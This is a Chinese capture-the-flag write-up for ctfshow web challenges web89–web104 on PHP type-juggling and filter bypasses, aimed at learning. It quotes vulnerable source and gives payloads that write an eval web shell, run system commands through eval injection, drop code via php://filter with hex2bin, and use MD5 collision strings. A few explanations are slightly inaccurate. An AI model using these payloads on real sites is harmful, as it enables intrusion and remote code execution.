当前位置: 首页 > 工具软件 > a2web > 使用案例 >

ctfshow web入门 PHP特性前篇(web89-web104)

饶曦之
2023-12-01

目录

web89

web90

web91

web92

web93

web94

web95

web90,92-95总结

web96

web97

拓展

web98

web99

web100

web101

web102

web103

web104


web89

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
​
include("flag.php");
highlight_file(__FILE__);
​
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

很明显要让我们get传入一个num参数,然后num还要是数字输出flag,但是源码里0-9都被禁了

此时我们可以使用数组的方法进行绕过

?num[]=1

因为

preg_match()返回 pattern的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。可以通过数组的方式通过

       **intval()** 不能用于 object,否则会产生  **`E_NOTICE`** 错误并返回 1

数组为一个对象,然后将会返回一个1的数

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

很明显的,我们有两个方法

?num=4476a//弱类型
?num=0x117c//十六进制

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

在这里有两个匹配

preg_match('/^php$/im', $a)//匹配多行的php
preg_match('/^php$/i', $a)//匹配第一行的php

所有这个题的意思,匹配多行是要有php,然后匹配第一行的时候要没有php

payload:

?cmd=123%0aphp    //%0a为换行符

web92

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 
?num=0x117c
?num=010574
?num=4476e123,特殊的e表示科学计数法,在intval()函数读取到e的时候就会停止

十六进制和把八进制进行绕过

web93

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

在判断时多了对字母的禁用,十六进制和科学计数法就被禁了,八进制依然可以

?num=010574

web94

 <?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

这次多了个函数

if(!strpos($num, "0"))意思为不匹配到0则执行语句内
strpos函数为返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

所以我们要让传入的参数要有0返回1

web95

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

此时不是两个等号,所以不是弱类型,然后我们可以尝试使用8进制和16进制,但是字母被禁了,所以我们可以使用16进制。然后还要在值的前面加上一个+或空格。intval函数会对空格开头进行一个删除的处理

?num=+010574
?num= 010574

web90,92-95总结

题目的源码基本相似,但是会禁用一些地方,如字母,数字,特殊具有的一个函数

intval()
注:
如果字符串包括了"0x"的前缀,使用16进制
如果字符串以"0"开始,使用8进制,其他都论十进制

大体的payload如下

小数点(含有0)//?num=4476.0
科学计数法//?num=4476e0
十六进制//?num=0x117c
八进制//?num=010574
八进制+空格//?num= 010574
正负号//?num=+4476.0

web96

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com
​
*/
​
​
highlight_file(__FILE__);
​
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
​
​
}

路径问题

/var/www/html/flag.php              绝对路径
./flag.php                          相对路径
php://filter/resource=flag.php      php伪协议 

web97

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com
​
*/
​
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

很明显的要让a和b不相等,然后还要md5的值相等,最简单的就可以数组

?a[]=1&b[]=2

拓展

md5

弱比较
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
强比较
$a=(string)$a;
$b=(string)$b;
if(  ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据
​
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

web98

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com
​
*/
​
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
​
?> 

该题的主要知识点

三目运算符

if($_GET)
   $_GET=$_POST
else
   $_GET='flag'
if($_GET['flag']=='flag')
   $_GET=&$_COOKIE
else
   $_GET='flag'
if($_GET['flag']=='flag')
   $_GET=&$_SERVER
else
   $_GET='flag'

所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可

payload get:1=1 post:HTTP_FLAG=flag

web99

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com
​
*/
​
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
​
?>

in_array弱类型比较

$allow = array(1,'2','3');
var_dump(in_array('1.php',$allow));
返回的为true
​
$allow = array('1','2','3');
var_dump(in_array('1.php',$allow));
返回false

file_put_contents函数

file_put_contents(file,data,mode,context)
file:规定写入的文件
data:写入文件的数据
mode:如何打开/写入文件(FILE_USE_INCLUDE_PATH,FILE_APPEND,LOCK_EX)
context:文件句柄的环境

payload

get:?n=1.php post content=<?php eval($_POST[1]);?>

此时就写入到了1.php,然后打开1.php

post 1=system('ls');
1=system('cat flag36d.php');

web100

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com
​
*/
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
​
​
?>

在第一部分

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
<?php
$a=true and false and false;
var_dump($a);  返回true
​
$a=true && false && false;
var_dump($a);  返回false

所以只要v1为数字,v0就为true

第二部分

v2要没有;

v3要有;

payload

v1=1&v2=var_dump($ctfshow)/*&v3=*/;
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
v1=1&v2=echo&v3=;system('ls');

web101

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com
​
*/
​
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
​
?> 

代码与web100相似,不过v2和v3过滤掉了好多东西

我们可以使用反射类构造echo new ReflectionClass(‘ctfshow’);

?v1=1&v2=echo new ReflectionClass&v3=;

ReflectionClass类

ReflectionClass 类报告了一个类的有关信息。

web102

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43
​
*/
​
​
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
​
​
?>

call_user_func函数

把第一个参数作为回调函数调用

第一个思路:

在php5的环境中,是可以识别十六进制的,也就是如果传入

v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制)

也是可以识别为数字从而绕过

payload

get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin

但是本题无法使用,因为本题的环境为php7,

var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));  
下返回false

第二个思路

要让v2全为数字,考虑利用伪协议写入

get:v2=?&v3=php://filter/write=convert.base64-decode/resource=1.php
post:v1=hex2bin

现在就是要找到一个代码base64编码后在转为十六进制为全数字

5044383959474e6864434171594473
$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。                 
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。

payload

get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

题目小总结:

题目首先让我们传入v1,v2,v3参数,然后v2或v3为数字才会执行后面,在if语句内,变量s为v2从第3个开始截取字符,变量str为v1调用函数,此时我们v1可以使用hex2bin函数,字符将从十六进制转换为ASCII 字符

web103

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 21:03:24
​
*/
​
​
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
​
?> 

源码在上一题多增加了if(!preg_match("/.p.h.p./i",$str))

get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

web104

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20
​
*/
​
​
highlight_file(__FILE__);
include("flag.php");
​
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
​
​
​
?> 

sha1函数

计算字符串的 sha1 散列值

payload:

POST v1=1
GET  ?v2=1

未完待续~~~

啊

 类似资料: